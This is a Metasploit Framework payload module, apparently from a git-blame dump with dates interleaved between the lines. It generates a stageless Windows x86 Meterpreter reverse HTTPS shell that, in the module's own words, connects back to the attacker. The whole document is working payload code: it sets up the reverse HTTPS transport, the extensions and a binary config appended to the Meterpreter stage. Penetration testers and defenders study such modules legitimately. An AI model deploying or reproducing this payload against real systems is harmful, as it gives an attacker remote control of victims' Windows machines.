2015-03-12 09:45:09 +10:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2015-03-12 09:45:09 +10:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2024-10-30 16:19:59 -05:00
|
|
|
CachedSize = 178780
|
2015-03-16 18:08:13 -05:00
|
|
|
|
2015-05-12 09:25:02 +10:00
|
|
|
include Msf::Payload::TransportConfig
|
2015-05-04 21:51:20 +10:00
|
|
|
include Msf::Payload::Windows
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
|
include Msf::Payload::Windows::MeterpreterLoader
|
2015-03-12 09:45:09 +10:00
|
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2025-04-20 02:57:34 +10:00
|
|
|
super(
|
|
|
|
|
merge_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline',
|
|
|
|
|
'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',
|
|
|
|
|
'Author' => [ 'OJ Reeves' ],
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
|
|
|
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
|
|
|
|
)
|
|
|
|
|
)
|
2015-03-12 09:45:09 +10:00
|
|
|
|
2015-05-05 09:27:01 +10:00
|
|
|
register_options([
|
2015-11-10 20:01:23 +10:00
|
|
|
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
|
2025-04-20 02:57:34 +10:00
|
|
|
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2019-09-23 08:45:43 +10:00
|
|
|
|
|
|
|
|
register_advanced_options(
|
2025-04-20 02:57:34 +10:00
|
|
|
Msf::Opt.http_header_options +
|
|
|
|
|
Msf::Opt.http_proxy_options
|
2019-09-23 08:45:43 +10:00
|
|
|
)
|
2015-03-12 09:45:09 +10:00
|
|
|
end
|
|
|
|
|
|
2025-04-20 02:57:34 +10:00
|
|
|
def generate(opts = {})
|
2016-11-04 13:25:02 +10:00
|
|
|
opts[:stageless] = true
|
|
|
|
|
stage_meterpreter(opts) + generate_config(opts)
|
2015-03-17 14:41:00 +10:00
|
|
|
end
|
|
|
|
|
|
2025-04-20 02:57:34 +10:00
|
|
|
def generate_config(opts = {})
|
2015-05-20 16:25:52 +10:00
|
|
|
opts[:uuid] ||= generate_payload_uuid
|
2015-05-04 21:51:20 +10:00
|
|
|
|
|
|
|
|
# create the configuration block
|
|
|
|
|
config_opts = {
|
2025-04-20 02:57:34 +10:00
|
|
|
arch: opts[:uuid].arch,
|
|
|
|
|
exitfunk: datastore['EXITFUNC'],
|
2015-05-12 09:25:02 +10:00
|
|
|
expiration: datastore['SessionExpirationTimeout'].to_i,
|
2025-04-20 02:57:34 +10:00
|
|
|
uuid: opts[:uuid],
|
2015-05-12 09:25:02 +10:00
|
|
|
transports: [transport_config_reverse_https(opts)],
|
2015-11-10 20:01:23 +10:00
|
|
|
extensions: (datastore['EXTENSIONS'] || '').split(','),
|
2025-04-20 02:57:34 +10:00
|
|
|
ext_init: datastore['EXTINIT'] || '',
|
|
|
|
|
stageless: true
|
2022-04-29 00:59:10 +01:00
|
|
|
}.merge(meterpreter_logging_config(opts))
|
2015-05-04 21:51:20 +10:00
|
|
|
|
|
|
|
|
# create the configuration instance based off the parameters
|
|
|
|
|
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
|
|
|
|
|
|
|
|
|
# return the binary version of it
|
|
|
|
|
config.to_b
|
|
|
|
|
end
|
2015-03-12 09:45:09 +10:00
|
|
|
end
|